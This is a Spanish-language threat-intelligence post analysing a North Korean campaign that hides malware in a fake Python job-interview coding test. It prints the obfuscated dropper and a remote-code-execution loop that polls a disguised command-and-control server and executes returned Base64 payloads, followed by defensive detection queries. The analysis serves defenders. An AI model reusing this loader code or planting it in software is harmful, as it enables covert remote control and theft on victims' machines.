Colson Wilhoit

Código de conducta: Intrusiones impulsadas por Python de la RPDC en redes seguras

Con la investigación del uso estratégico de Python por parte de la RPDC y la ingeniería social cuidadosamente diseñada, esta publicación arroja luz sobre cómo se violan redes altamente seguras con ataques cibernéticos efectivos y en evolución.

Código de conducta: intrusiones impulsadas por Python de la RPDC en redes seguras

Preámbulo

Pocos actores de amenazas atrajeron tanta atención y notoriedad en el oscuro mundo de las operaciones cibernéticas patrocinadas por el Estado como la República Popular Democrática de Corea (RPDC). Los grupos de amenaza convertidos en miembro a la RPDC demostraron sistemáticamente su uso de tácticas de ingeniería social junto con capacidades tácticas. Al frente de su arsenal se encuentra un arma inesperada: Python.

Este versátil lenguaje de programación, apreciado por su accesibilidad y potencia, se convirtió en la herramienta para los operativos de la RPDC que buscan el acceso inicial a los sistemas objetivo. Estos actores de amenazas penetraron con éxito en algunas de las redes más seguras del mundo a través de una poderosa combinación de esquemas de ingeniería social meticulosamente elaborados y código Python elegantemente disfrazado.

Esta publicación examinará el uso de la ingeniería social y los señuelos basados en Python por parte de la RPDC para el acceso inicial. Sobre la base de la investigación publicada por el equipo de Reversing Labs para la campaña que llaman VMConnect, exploraremos un ejemplo muy reciente del mundo real, diseccionaremos el código y examinaremos qué hace que estos ataques sean tan efectivos. Al comprender estas técnicas, nuestro objetivo es arrojar luz sobre el panorama cambiante de las amenazas cibernéticas patrocinadas por el Estado y equipar a los defensores con el conocimiento para combatirlas.

Conclusiones clave

  • La sofisticación de las tácticas de ingeniería social de la RPDC a menudo implica el desarrollo de la personalidad a largo plazo y narrativas específicas.
  • El uso de Python por su facilidad de ofuscación, amplio soporte de biblioteca y capacidad para mezclar con actividades legítimas del sistema.
  • Estos señuelos evidencian la evolución continua de las técnicas de la RPDC, lo que pone de manifiesto la necesidad de una vigilancia y adaptación continuas en las estrategias de defensa cibernética.
  • El script de Python de esta campaña incluye módulos que permiten la ejecución de comandos del sistema y la escritura y ejecución de archivos locales

RookeryCapital_PythonTest.zip

Esta muestra se distribuye bajo la apariencia de un desafío de codificación de Python para una entrevista de trabajo "Capital One". Contiene un módulo conocido de Python que parece inocente en la superficie. Este módulo incluye la funcionalidad estándar de administración del portapapeles, pero también alberga código ofuscado capaz de exfiltrar datos y ejecutar comandos arbitrarios.

Empleando técnicas de codificación como Base64 y ROT13, el atacante camufló funcionalidades peligrosas para evadir la detección tanto por parte de los revisores humanos como de los análisis de seguridad automatizados. El código llega a un servidor remoto, descargando y ejecutando comandos bajo la apariencia de operaciones de portapapeles. Es un ejemplo perfecto de la facilidad con la que se puede enmascarar una funcionalidad maliciosa en un código estándar.

Analizaremos esta aplicación de Python línea por línea, descubriendo cómo:

  • Establece una conexión con un servidor malicioso
  • Ejecuta comandos ocultos a través de la ejecución remota de código (RCE)
  • Emplea técnicas comunes de ofuscación para pasar desapercibido
  • Incorpora mecanismos de reintento persistentes para garantizar una comunicación correcta

PasswordManager.py

Este "Desafío de Python" se proporciona a través de un archivo de .zip que contiene una aplicación de Python llamada "PasswordManager". Esta aplicación consta principalmente de un script principal, PasswordManager.py, y dos módulos de Python, Pyperclip y Pyrebase.

Al examinar primero el archivo README.md , es evidente que se trata de algún tipo de desafío o evaluación de la entrevista, pero lo que inmediatamente despertó nuestro interés fueron las siguientes líneas:

Esto fue interesante, ya que querían cerciorar de que la aplicación se ejecutara antes de que el usuario realizara cualquier cambio que pudiera hacer que cierta funcionalidad se rompiera o se notara.

El archivo PasswordManager.py principal parece ser el de una aplicación básica de administrador de contraseñas de Python. Por supuesto, como señalamos anteriormente, la aplicación importa dos módulos de terceros (Pyperclip y Pyrebase) en este script principal.

Pyperclip module

El módulo Pyperclip tiene dos archivos, __init__.py y __main__.py.

En Python, los módulos a menudo constan de varios archivos, siendo dos importantes __init__.py y __main__.py. El archivo __init__.py inicializa un paquete de Python, lo que le permite funcionar cuando se importa, mientras que el archivo __main__.py permite que el módulo se ejecute como un programa independiente.

init.py

__init__.py es el primer módulo que se importa y facilita principalmente las operaciones del portapapeles en varias plataformas (Windows, macOS, Linux, etc.). La mayor parte de este código está diseñado para detectar la plataforma (Windows, Linux, macOS) y proporcionar las funciones de manejo del portapapeles adecuadas (copiar, pegar), basar en utilidades nativas (por ejemplo, pbcopy para macOS, xclip para Linux) o bibliotecas de Python (por ejemplo, gtk, PyQt4/PyQt5).

Las importaciones revelan funcionalidades potencialmente interesantes o sospechosas de bibliotecas como base64, codecs, subprocessy tempfile. El módulo base64 proporciona capacidades de codificación o decodificación, que se pueden emplear para ocultar u ofuscar información confidencial. Cuando se combina con codecs, otro módulo que se usa a menudo para codificar o decodificar texto (en este caso, usando el cifrado ROT13), queda claro que el script está manipulando datos para evadir la detección.

La presencia del módulo subprocess es particularmente preocupante. Este módulo permite que el script ejecute comandos del sistema, abriendo la puerta para ejecutar código arbitrario en la máquina. Este módulo puede ejecutar scripts externos, iniciar procesos o instalar binarios maliciosos.

También es destacable la inclusión del tempfile module . Este módulo crea archivos temporales en los que se puede escribir y ejecutar, una técnica común que emplea el malware para ocultar sus huellas. Este módulo sugiere que el script puede estar escribiendo contenido en el disco y ejecutándolo dentro de un directorio temporal.

import contextlib
import ctypes
import os
import platform
import subprocess
import sys
import time
import warnings
import requests
import datetime
import platform
import codecs
import base64
import tempfile
import subprocess
import os

init.py importaciones

Al analizar el script, se destaca rápidamente un gran blob codificado en base64 asignado a la variable req_self .

req_self = "aW1wb3J0IHN0….Y29udGludWUNCg=="

La decodificación de esta cadena codificada en Base64 revela un script de Python completamente nuevo y autónomo con un código muy interesante.

Script de Python ofuscado

El script importa varias bibliotecas estándar (por ejemplo, requests, random platform), lo que le permite generar datos aleatorios, interactuar con el sistema operativo, codificar/decodificar cadenas y realizar solicitudes de red.

import string
import random
import requests
import platform
from time import sleep
import base64
import os
import codecs

Importaciones de scripts de Python codificados

El script contiene dos funciones denominadas co y rand_n.

La función co funciona como una función auxiliar. Esta función comprueba el sistema operativo actual (osn). Emplea la función codecs.decode con codificación ROT13 para decodificar la cadena Jvaqbjf, lo que da como resultado Windows. Si el sistema operativo es Windows, devuelve 0; de lo contrario, devuelve 1.

def co(osn):
  if osn == codecs.decode('Jvaqbjf', 'rot13'):
      return 0
  else:
      return 1

co dentro de un script de Python codificado

La decodificación de ROT13 se puede realizar fácilmente en la CLI de macOS o Linux o con la receta de ROT13 CyberChef.

$ echo "Jvaqbjf" | tr '[A-Za-z]' '[N-ZA-Mn-za-m]'
Windows

La función rand_n genera un número pseudoaleatorio de 8 dígitos a partir de la cadena 123456789. Es probable que se emplee como identificador (uid) en la comunicación posterior con el servidor remoto.

def rand_n():
  _LENGTH = 8
  str_pool = "123456789"
  result = ""
  for i in range(_LENGTH):
      result += random.choice(str_pool)
  return result

rand_n dentro de un script de Python codificado

Luego de las declaraciones de la función, el script define un conjunto de variables con valores codificados que empleará.

uid = rand_n()
f_run = ""
oi = platform.system()
url = codecs.decode('uggcf://nxnznvgrpuabybtvrf.bayvar/', 'rot13')
headers = {"Content-Type": "application/json; charset=utf-8"}
data = codecs.decode('Nznmba.pbz', 'rot13') + uid + "pfrr" + str(co(oi))

Variables de script de Python codificadas

  • uid: Identificador aleatorio generado empleando rand_n()
  • oi: La plataforma del sistema operativo
  • url: Luego de decodificar usando ROT13, esto se resuelve en una URL para un servidor malicioso (https://akamaitechnologies[.]en línea). Obviamente, el actor de amenazas está intentando evadir la detección codificando la URL y disfrazándola como un servicio aparentemente legítimo (Akamai), que es un proveedor de CDN conocido.
  • data: Esta es la carga útil de datos que se envía al servidor. Incluye una cadena decodificada (Amazon[.]com), el uid aleatorio y el resultado de co(oi) que comprueba si el sistema operativo es Windows.

La última parte del script es el bucle while principal.

while True:
  try:
      response = requests.post(url, headers=headers, data=data)
      if response.status_code != 200:
          sleep(60)
          continue
      else:
          res_str = response.text
          if res_str.startswith(codecs.decode('Tbbtyr.pbz', 'rot13')) and len(response.text) > 15:
              res = response.text
              borg = res[10:]
              dec_res = base64.b64decode(borg).decode('utf-8')

              globals()['pu_1'] = uid
              globals()['pu_2'] = url
              exec(compile(dec_res, '', 'exec'), globals())
              sleep(1)
              break
          else:
              sleep(20)
              pass

  except:
      sleep(60)
      continue

Bucle while principal de script de Python codificado

El primer bloque try envía una solicitud HTTP POST al servidor malicioso (url) con los encabezados y los datos. Si el servidor responde con un código de estado distinto de 200 OK, el script espera 60 segundos y vuelve a intentarlo.

De lo contrario, si la respuesta comienza con la cadena decodificada 'Google.com' y la longitud de la respuesta es mayor que 15, extrae una parte codificada en base64 de la respuesta. A continuación, decodifica esta parte y ejecuta el script decodificado mediante exec(compile(dec_res, '', 'exec'), globals()). Esto permite al atacante enviar código Python arbitrario para que se ejecute en la máquina de la víctima.

Hacia el final del bucle, establece variables globales con el uid aleatorio y la URL empleada en la comunicación con el servidor remoto. Esto se emplea más adelante al ejecutar la carga útil descargada.

Ahora que entendemos el propósito del script de Python codificado, volvamos al script __inity__.py y analicemos la función que ejecuta la sección codificada en base64.

inidad.py

De vuelta dentro del script __inity__.py , podemos buscar cualquier otra referencia a la variable req_self para ver qué hace el script con ese script de Python codificado. Encontramos una sola referencia ubicada en una función definida como cert_acc.

def cert_acc():
  ct_type = platform.system()
  l_p = tempfile.gettempdir()

  if ct_type == codecs.decode("Jvaqbjf", stream_method):
      l_p = l_p + codecs.decode('\\eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_opr, stream_method) + l_p
  else:
      l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_ops, stream_method) + l_p

  request_query = open(l_p, 'w')
  request_object = base64.b64decode(req_self)
  request_query.write(request_object.decode('utf-8'))
  request_query.close()
  try:
      if ct_type == codecs.decode("Jvaqbjf", stream_method):
          subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)
      else:
          subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)
  except:
      pass
cert_acc()
ct_type = platform.system()

Esta variable recupera el tipo de sistema operativo actual (por ejemplo, Windows, Linux, Darwin para macOS) empleando la función platform.system() . El valor se almacena en la variable ct_type .

l_p = tempfile.gettempdir()

Esta variable llama al tempfile.gettempdir() function, que devuelve la ruta al directorio temporal del sistema. Este directorio se usa comúnmente para almacenar archivos temporales que el sistema o los programas crean y luego eliminan al resetear. El valor se asigna a l_p.

El bloque if-else aprovecha la función de decodificación de la biblioteca de códecs mediante ROT13 para decodificar la cadena Jvaqbjf, que se traduce como Windows. Esto comprueba si el tipo de sistema es Windows. Si el sistema es Windows, el código anexa una cadena decodificada por ROT13 (que resulta ser \eronfr.gzc \rebase.tmp luego de la decodificación) a la ruta de acceso del directorio temporal l_p. A continuación, construye un comando header_ops, que probablemente combine la variable push_opr decodificada (también empleando ROT13) con la ruta.

Si el sistema no es Windows, agrega una ruta de acceso de archivo similar a Unix /eronfr.gzc (/rebase.tmp luego de la decodificación) y de manera similar construye un comando usando push_ops. Esta parte del código está diseñada para ejecutar diferentes cargas útiles o comandos según el sistema operativo.

if ct_type == codecs.decode("Jvaqbjf", stream_method):
      l_p = l_p + codecs.decode('\\eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_opr, stream_method) + l_p
  else:
      l_p = l_p + codecs.decode('/eronfr.gzc', stream_method)
      header_ops = codecs.decode(push_ops, stream_method) + l_p

Las siguientes declaraciones, empezando por request_, sirven para escribir el script de Python codificado en Base64 que ya analizamos para disk in the temporary directory. This code opens a new file in the temporary directory (l_p), which was previously set depending on the system type. The variable req_self' (también una cadena codificada en Base64) se decodifica en su forma original. El contenido decodificado se escribe en el archivo y el archivo se cierra.

request_query = open(l_p, 'w')
  request_object = base64.b64decode(req_self)
  request_query.write(request_object.decode('utf-8'))
  request_query.close()

El bloque try final de la función facilita la ejecución del script de Python codificado.

Si el tipo de sistema es Windows, el código intenta ejecutar el archivo (construido en header_ops) empleando el subprocess.Popen function. La marca DETACHED_PROCESS garantiza que el proceso se ejecute independientemente del proceso principal, lo que dificulta el seguimiento.

Si el sistema no es Windows, ejecuta el archivo empleando un método de ejecución diferente (subprocess.Popen con shell=True), que es más común para sistemas similares a Unix (Linux / macOS). El preexec_fn=os.setpgrp hace que el proceso sea inmune a las interrupciones terminales, lo que permite que se ejecute en segundo plano.

try:
      if ct_type == codecs.decode("Jvaqbjf", stream_method):
          subprocess.Popen(header_ops, creationflags=subprocess.DETACHED_PROCESS)
      else:
          subprocess.Popen(header_ops, shell=True, preexec_fn=os.setpgrp)
  except:
      pass

La función cert_acc ejecuta el script de Python ofuscado, que recupera los comandos que se ejecutarán dentro de la función cert_acc.

El script dentro del paquete Pyperclip muestra signos claros de comportamiento malicioso, empleando técnicas de ofuscación como ROT13 y codificación Base64 para ocultar su verdadera intención. Identifica el sistema operativo y adapta sus acciones en consecuencia, escribiendo en el disco y ejecutando un script Python ofuscado en el directorio temporal del sistema. El script establece la comunicación con un servidor remoto, lo que permite la ejecución remota de código (RCE) y permite al atacante enviar más comandos. Este proceso cuidadosamente oculto garantiza que el script se ejecute sigilosamente, evitando la detección mientras se mantiene un C2 (Comando y Control) efectivo sobre la máquina infectada.

Intersecciones de campaña

Cuando encontramos esta muestra, también nos encontramos con muestras adicionales que coincidían con su implementación de código y señuelos de campaña anteriores que observamos en la naturaleza.

Este señuelo nuevamente se disfraza como un desafío de codificación de Python entregado bajo la apariencia de una entrevista de trabajo. Su implementación de código Python coincide exactamente con el código que analizamos anteriormente y, según la descripción y el nombre del archivo, coincide con el señuelo descrito por Mandiant como "CovertCatch".

El siguiente señuelo es diferente de los anteriores, pero coincide con la implementación de código Python que vimos y escrito anteriormente. El año pasado, sacamos a la luz el malware conocido como "KandyKorn" que tenía como objetivo a los desarrolladores e ingenieros de CryptoCurrency.

Estrategias de detección, caza y mitigación

Detectar y mitigar este tipo de código malicioso ofuscado y su comportamiento requiere una combinación de medidas de seguridad proactivas, supervisión y concienciación del usuario.

La mejor estrategia de mitigación contra estos señuelos y campañas de acceso inicial es educar a sus usuarios sobre los métodos extensos y específicos que los actores de amenazas, como la RPDC, emplean para obtener la ejecución del código. El conocimiento sobre estas campañas y la capacidad de reconocerlas, combinado con un fuerte énfasis en el análisis de código adecuado antes de la ejecución, especialmente cuando se trata de aplicaciones de terceros como esta, de "reclutadores", "foros de desarrolladores", "Github", etc., proporcionará una base estable de defensa contra estos ataques.

Con respecto a este ejemplo específicamente, hay algunas detecciones diferentes que podemos escribir en torno al comportamiento del mecanismo de ejecución de código y los posibles casos de uso resultantes asociados con esa actividad. Si bien estas consultas son específicas de macOS, también puede tomarlas y modificarlas para detectar la misma actividad en Windows.

[Detección] Ejecución de archivos temporales de shell de subprocesos de Python y conexión de red remota

sequence by process.parent.entity_id with maxspan=3s
[process where event.type == "start" and event.action == "exec" and process.parent.name : "python*"
 and process.name : ("sh", "zsh", "bash") and process.args == "-c" and process.args : "python*"]
[network where event.type == "start"]

Esta regla busca el comportamiento específico que se muestra cuando el ejemplo de __init__.py escribe el script de Python ofuscado en el disco y emplea el método subprocess.Popen , estableciendo la variable de shell igual a True para ejecutar el script de Python que se conecta a un servidor remoto para recuperar y ejecutar comandos.

[Cazar] Creación de archivos ejecutables de Python en directorio temporal

file where event.type == "modification" and file.Ext.header_bytes : ("cffaedfe*", "cafebabe*")
 and (process.name : "python*" or Effective_process.name : "python*") and file.path : ("/private/tmp/*", "/tmp/*")

Si el actor de amenazas intenta usar esta funcionalidad para descargar una carga ejecutable dentro del directorio temporal ya especificado en el script, podríamos usar esta regla para buscar la creación de un archivo ejecutable en un directorio temporal a través de Python.

[Cazar] Ejecución interactiva de shell a través de Python

process where host.os.type == "macos" and event.type == "start" and event.action == "exec" 
and process.parent.name : "python*" and process.name : ("sh", "zsh", "bash")
 and process.args == "-i" and process.args_count == 2

El actor de amenazas podría emplear la funcionalidad de ejecución para abrir un shell interactivo en el sistema de destino para llevar a cabo acciones posteriores a la explotación. Vimos a actores de estados-nación emplear un caparazón interactivo como este. Podríamos usar esta regla para buscar la creación de este shell interactivo a través de Python.

[Cazar] Ejecución sospechosa de procesos secundarios de Python

process where event.type == "start" and event.action == "exec" and process.parent.name : "python*"
 and process.name : ("screencapture", "security", "csrutil", "dscl", "mdfind", "nscurl", "sqlite3", "tclsh", "xattr")

El actor de amenazas también podría usar esta capacidad de ejecución de código para ejecutar directamente binarios del sistema para varios objetivos o acciones posteriores a la explotación. Esta regla busca la ejecución directa de algunas herramientas del sistema local que no se usan comúnmente, especialmente a través de Python.

Conclusión y tendencias futuras

Como exploramos a lo largo de este análisis, la República Popular Democrática de Corea (RPDC) se convirtió en una fuerza formidable en las operaciones cibernéticas patrocinadas por el Estado. Combinando la ingeniería social con señuelos basados en Python, su enfoque demostró ser exitoso en organizaciones con una amplia madurez en seguridad.

Su uso de Python para las operaciones de acceso inicial es un testimonio de la naturaleza cambiante de las amenazas cibernéticas. Al aprovechar este lenguaje de programación versátil y ampliamente empleado, los actores de amenazas encontraron una herramienta poderosa que ofrece simplicidad en el desarrollo y complejidad en la ofuscación. Esta doble naturaleza de Python en sus manos demostró ser un desafío importante para los defensores de la ciberseguridad.

Nuestra inmersión profunda en esta muestra reciente proporcionó información valiosa sobre las tácticas, técnicas y procedimientos (TTP) actuales de los actores de amenazas de la RPDC. Este estudio de caso ejemplifica cómo la ingeniería social y los scripts de Python personalizados pueden funcionar en conjunto como vectores de acceso inicial altamente efectivos.

A medida que avanzan las operaciones cibernéticas patrocinadas por el Estado, los conocimientos obtenidos del estudio de los métodos de la RPDC se vuelven cada vez más valiosos. Los profesionales de la ciberseguridad deben permanecer alerta ante la doble amenaza de la ingeniería social y las sofisticadas herramientas basadas en Python. Defender contra estas amenazas requiere un enfoque multifacético, que incluya controles técnicos estables, capacitación integral del personal sobre tácticas de ingeniería social y capacidades avanzadas de detección de amenazas centradas en la identificación de actividades sospechosas de Python.

A medida que avanzamos, es crucial fomentar la colaboración dentro de la comunidad de ciberseguridad y compartir conocimientos y estrategias para contrarrestar estas sofisticadas amenazas. Esperamos mantenernos a la vanguardia en este juego de ajedrez cibernético en curso contra actores patrocinados por el Estado como la RPDC a través de la vigilancia colectiva y los mecanismos de defensa adaptativos.

Recursos